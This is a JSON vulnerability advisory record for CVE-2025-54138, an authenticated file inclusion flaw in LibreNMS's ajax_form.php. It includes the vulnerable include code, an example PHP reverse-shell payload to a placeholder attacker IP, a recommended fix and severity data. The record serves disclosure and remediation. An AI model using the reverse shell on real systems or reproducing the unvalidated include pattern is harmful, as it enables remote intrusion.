{"id":"CVE-2025-54138","aliases":["GHSA-gq96-8w38-hhj2"],"url":"https://o3.security/vulnerability/CVE-2025-54138","summary":"LibreNMS has Authenticated Local File Inclusion in ajax_form.php that Allows RCE","details":"LibreNMS 25.6.0 contains an architectural vulnerability in the `ajax_form.php` endpoint that permits Remote File Inclusion based on user-controlled POST input. \n\nThe application directly uses the `type` parameter to dynamically include `.inc.php` files from the trusted path `includes/html/forms/`, without validation or allowlisting:\n\n```php\nif (file_exists('includes/html/forms/' . $_POST['type'] . '.inc.php')) {\n    include_once 'includes/html/forms/' . $_POST['type'] . '.inc.php';\n}\n```\nThis pattern introduces a latent Remote Code Execution (RCE) vector if an attacker can stage a file in this include path — for example, via symlink, development misconfiguration, or chained vulnerabilities.\n\n>  This is not an arbitrary file upload bug. But it does provide a powerful execution sink for attackers with write access (direct or indirect) to the include directory.\n\n# Conditions for Exploitation\n\n- Attacker must be authenticated    \n- Attacker must control a file at `includes/html/forms/{type}.inc.php` (or symlink)        \n\n# Example Impact (RCE)\n\nIf a PHP file or symlinked shell is staged in the include path, an attacker can achieve full remote code execution under the `librenms` user context:\n\n```php\n<?php system('/bin/bash -c \"bash -i >& /dev/tcp/ATTACKER-IP/4444 0>&1\"'); ?>\n```\nhttps://github.com/user-attachments/assets/deb9ccd2-101c-4172-89b1-b840b7ed3812\n\n\n---\n\n# Recommended Fix\n\n- Implement strict allow listing or hardcoded routing instead of dynamically including user-supplied filenames. \n- Avoid passing raw POST input into `include_once`.\n- Ensure the inclusion path is immutable and outside attacker control (e.g., avoid variable expansion into trusted paths).","published":"2025-07-22T21:33:59.149Z","modified":"2026-10-28T02:30:35.367581720Z","cvss":{"score":7.5,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H"},"epss":{"score":0.01065,"percentile":0.63077,"asOf":"2026-09-17"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"Packagist","name":"librenms/librenms","fixedVersion":"25.7.0"}],"fix":{"url":"https://github.com/librenms/librenms/commit/ec89714d929ef0cf2321957ed9198b0f18396c81","label":"librenms/librenms@ec89714"},"references":[{"type":"WEB","url":"https://github.com/librenms/librenms/releases/tag/25.7.0"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2025/54xxx/CVE-2025-54138.json"},{"type":"ADVISORY","url":"https://github.com/librenms/librenms/security/advisories/GHSA-gq96-8w38-hhj2"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-54138"},{"type":"FIX","url":"https://github.com/librenms/librenms/commit/ec89714d929ef0cf2321957ed9198b0f18396c81"},{"type":"FIX","url":"https://github.com/librenms/librenms/pull/17990"},{"type":"PACKAGE","url":"https://github.com/librenms/librenms"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-10-28T02:30:35.367581720Z"}}